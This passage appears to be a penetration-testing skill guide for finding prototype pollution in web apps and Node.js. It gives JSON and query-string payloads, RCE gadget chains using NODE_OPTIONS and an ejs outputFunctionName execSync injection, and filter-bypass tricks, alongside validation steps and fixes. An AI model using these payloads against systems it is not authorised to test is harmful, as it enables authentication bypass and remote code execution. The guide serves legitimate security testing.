- JSON request bodies, query strings, multipart form fields
- URL-encoded nested objects (`__proto__[key]=value`)
- WebSocket messages, GraphQL variables, file import formats (JSON, YAML)
**Vulnerable Patterns**
- Deep merge/extend: `lodash.merge`, `jQuery.extend`, custom `Object.assign` loops
- Query parsers: `qs`, `body-parser` with nested object support
- Client-side routing, state hydration, analytics SDK config merges
## Key Vulnerabilities
### Client-Side Prototype Pollution
**Gadget Effects**
- Bypass auth checks reading `user.isAdmin` when polluted on prototype
- DOM XSS via polluted properties consumed by `innerHTML`, `document.write`, script loaders
- Cookie/session manipulation if app reads config from polluted defaults
**Payload Shapes**
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
{"__proto__.polluted": "yes"}
```
**URL-encoded (qs-style)**
```
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=true
```
### Server-Side Prototype Pollution (Node.js)
**Common Sinks**
- `lodash.merge`, `lodash.defaultsDeep`, `deep-extend`, `merge-options`
- Express/query parsers accepting nested objects
- YAML `load()` (not `safeLoad`) with prototype keys
- JSON.parse → merge into existing object without null prototype
**RCE Gadget Chains (Node.js)**
Pollute properties consumed by child_process, template engines, or require paths:
```json
{"__proto__": {"shell": "/proc/self/exe", "argv0": "node", "NODE_OPTIONS": "--require /tmp/evil.js"}}
{"__proto__": {"outputFunctionName": "x;process.mainModule.require('child_process').execSync('id')//"}}
```
Gadget availability depends on package versions — enumerate `node_modules` in white-box scans.
### Filter Bypasses
**Key Sanitization Bypasses**
- Unicode normalization: `__proto__` variants, fullwidth underscores
- Nested forms: `constructor.prototype` instead of `__proto__`
- Array pollution: `__proto__[0]`, `[].__proto__`
- JSON `$` or `.` keys in some parsers (MongoDB-style operators overlap — see nosql_injection skill)
**Freeze/Seal Gaps**
- Pollution before `Object.freeze` on instance but not prototype
- Pollution affecting newly created objects after merge
## Testing Methodology
1. **Identify merge points** — Search for extend/merge/defaults/deep copy on user-controlled objects
2. **Baseline probe** — Inject benign pollution marker:
```json
{"__proto__": {"strixPolluted": "yes"}}
```
Verify via response behavior, error messages, or follow-up request reading shared state
3. **Shape variants** — Test `__proto__`, `constructor.prototype`, nested bracket notation
4. **Channel matrix** — JSON body, query string, multipart, WebSocket for same endpoint
5. **Gadget hunting (Node.js)** — Map polluted keys to sinks in dependency tree (ejs, pug, handlebars, child_process wrappers)
6. **Client-side** — Check if polluted properties affect routing, auth UI, or DOM sinks
## Validation
1. Demonstrate a property on `Object.prototype` (or relevant prototype) affecting behavior on unrelated objects
2. Show security impact: auth bypass, XSS execution, or server-side command execution with minimal PoC
3. Prove pollution persists across requests (server) or page lifetime (client) as applicable
4. Document exact merge function and input path (parameter name, content-type)
5. Confirm fix: null-prototype objects, `Object.create(null)`, or key blocklists on `__proto__`/`constructor`/`prototype`
## False Positives
- Parser strips `__proto__` before merge — marker property never appears on prototype
- Framework uses `Object.create(null)` for options objects throughout
- Polluted key visible in JSON echo but never merged into object graph
- Client-side pollution blocked by frozen prototypes in modern hardened libraries (verify no behavioral change)
- WAF blocks payload but alternate encoding also blocked consistently
## Bypass Methods
- Switch from `__proto__` to `constructor[prototype]` when only one is filtered
- Use array notation: `__proto__[key]`, `[].__proto__.key`
- Content-type switching: JSON vs `application/x-www-form-urlencoded` vs multipart
- Split pollution across multiple parameters merged sequentially
- Second-order pollution: store payload, trigger merge in background job or export pipeline
## Impact
- Authentication/authorization bypass via polluted flag checks
- DOM XSS and session compromise in browsers
- Remote code execution on Node.js through known gadget chains
- Denial of service via polluting widely read prototype properties
## Pro Tips
1. Always verify pollution with a unique canary key (`strixPolluted_<random>`) before attempting RCE gadgets
2. In white-box scans, grep for `merge`, `extend`, `defaultsDeep`, `assign` with user input
3. Check both request parsing and response template config merges (second-order)
4. Node gadget chains are version-specific — confirm package version before claiming RCE
5. Combine with client-side template injection if polluted keys flow into rendering config
## Tooling
Detection is mostly about payload shapes (above) plus a couple of light helpers. The sandbox has `go` and `nuclei`; `ppfuzz` is a single static binary.
- **ppfuzz** (dwisiswant0) — fast client-side prototype-pollution fuzzer (Rust, single binary); good for spraying the URL/param shapes across many endpoints: `ppfuzz -l urls.txt`
- **nuclei** (preinstalled) — has prototype-pollution templates for quick triage: `nuclei -u https://target -tags prototype-pollution`
- **BlackFan `client-side-prototype-pollution`** — not a tool but the canonical **gadget reference**: maps polluted keys to concrete DOM-XSS sinks per library (jQuery, Popper, Wistia, etc.). Use it to turn a confirmed pollution into real impact.
For server-side gadget hunting there is no reliable one-click tool — enumerate `node_modules` in white-box scope and match polluted keys to sinks (`ejs`/`pug` `outputFunctionName`, `child_process` `shell`/`NODE_OPTIONS`) as covered above.
## Summary
Any unsafe recursive merge of user-controlled keys is a prototype pollution candidate. Block `__proto__`, `constructor`, and `prototype` keys, use null-prototype objects, and validate impact with behavioral proof — not just reflected keys.